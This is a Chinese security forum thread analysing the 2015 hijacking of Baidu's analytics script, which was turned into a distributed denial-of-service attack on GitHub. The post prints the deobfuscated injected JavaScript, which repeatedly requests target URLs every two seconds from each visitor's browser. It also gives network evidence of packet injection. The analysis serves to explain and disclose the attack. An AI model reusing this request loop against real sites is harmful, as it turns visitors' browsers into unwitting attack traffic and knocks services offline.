查看: 16021|回复: 59

百度统计js被劫持用来DDOS Github

[复制链接]
  • TA的每日心情

    5 天前
  • 签到天数: 1633 天

    [LV.Master]伴坛终老

    发表于 2015-3-27 18:42:28 | 显示全部楼层 |阅读模式
    版权声明:未经授权禁止转载 insight-labs@乌云知识库
    0x00 背景
    今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:
    [AppleScript] 纯文本查看 复制代码
    1
    malicious javascript detected on this domain

    2015032705423060206s1.png
    我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。

    0x01 细节
    之后立刻发现弹窗的js居然是从github加载的:
    2015032705423358371s2.png
    可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。

    第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是

    hm.baidu.com/h.js
    这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:
    [AppleScript] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
    !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
    startime = (new Date).getTime();
    var count = 0;
      
    function unixtime() {
        var a = new Date;
        return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
    }
    NUM = url_array.length;
      
    function r_send2() {
        var a = unixtime() % NUM;
        get(url_array[a])
    }
      
    function get(a) {
        var b;
        $.ajax({
            url: a,
            dataType: "script",
            timeout: 1E4,
            cache: !0,
            beforeSend: function() {
                requestTime = (new Date).getTime()
            },
            complete: function() {
                responseTime = (new Date).getTime();
                b = Math.floor(responseTime - requestTime);
                3E5 > responseTime - startime && (r_send(b), count += 1)
            }
        })
    }
      
    function r_send(a) {
        setTimeout("r_send2()", a)
    }
    setTimeout("r_send2()", 2E3);

    大概功能就是关闭缓存后每隔2秒加载一次
    [AppleScript] 纯文本查看 复制代码

    里面的两个url

    问了下墙内的小伙伴们,他们看到的js都是正常的,但是通过墙外ip访问

    [AppleScript] 纯文本查看 复制代码
    1
    http://hm.baidu.com/h.js

    就会得到上面的js文件,每隔2秒请求一下这两个url。

    打开twitter看了下,似乎从3月18号以来Github就受到了DDoS攻击,之后greatfire把被攻击的页面内容换成了
    [AppleScript] 纯文本查看 复制代码
    1
    alert("WARNING: malicious javascript detected on this domain")

    以弹窗的方式阻止了js的循环执行。
    2015032705422816608s3.png
    图3 国外ip traceroute到hm.baidu.com的记录
    似乎DNS并没有被劫持,看来是像之前一样直接把IP劫持了或者直接在HTTP协议里替换文件。
    2015032705422632644s4.png
    扫了下端口,只开了80和443,通过https协议访问后是正常的空页面(只有带referer才会出现js文件)。
    2015032705422243412s5.png
    作者要进行抓包分析时劫持已经停止,在twitter上看到有人已经分析过引用如下:
    抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是47,可以确定的是有中间设备对VPS发了伪造报文。
    2015032706222594535ws.png
    真是无耻,呵呵

    忽然想起一句话,之前DNS被劫持到外国服务器的时候某站长说的:
    They have weaponized their entire population.
    现在应该是:
    They have weaponized their entire population of the Earth.
    回复

    举报

  • TA的每日心情
    慵懒
    2020-5-26 00:47
  • 签到天数: 215 天

    [LV.7]常住居民III

    发表于 2015-3-27 19:16:10 | 显示全部楼层
    目测楼主用win8以上的系统(可能是win10)。还有楼主在国外?
    回复 支持 反对

    举报

  • TA的每日心情

    2015-7-28 16:16
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-3-28 14:22:02 | 显示全部楼层
    赞一个。。。。。。。。。。
    回复 支持 反对

    举报

  • TA的每日心情
    开心
    2016-12-29 12:20
  • 签到天数: 44 天

    [LV.5]常住居民I

    发表于 2015-4-2 22:01:09 | 显示全部楼层
    这两天逛网页也是经常弹出,实在很让人头疼,终于明白真相了
    回复 支持 反对

    举报

    该用户从未签到

    发表于 2015-6-28 11:27:05 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    举报

    该用户从未签到

    发表于 2015-6-28 12:17:06 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    举报

    该用户从未签到

    发表于 2015-6-28 19:36:15 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    举报

    该用户从未签到

    发表于 2015-6-29 19:21:09 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    举报

    该用户从未签到

    发表于 2015-7-2 06:40:30 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    举报

    该用户从未签到

    发表于 2015-7-2 21:04:28 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2025-1-13 06:34 , Processed in 0.038748 second(s), 17 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.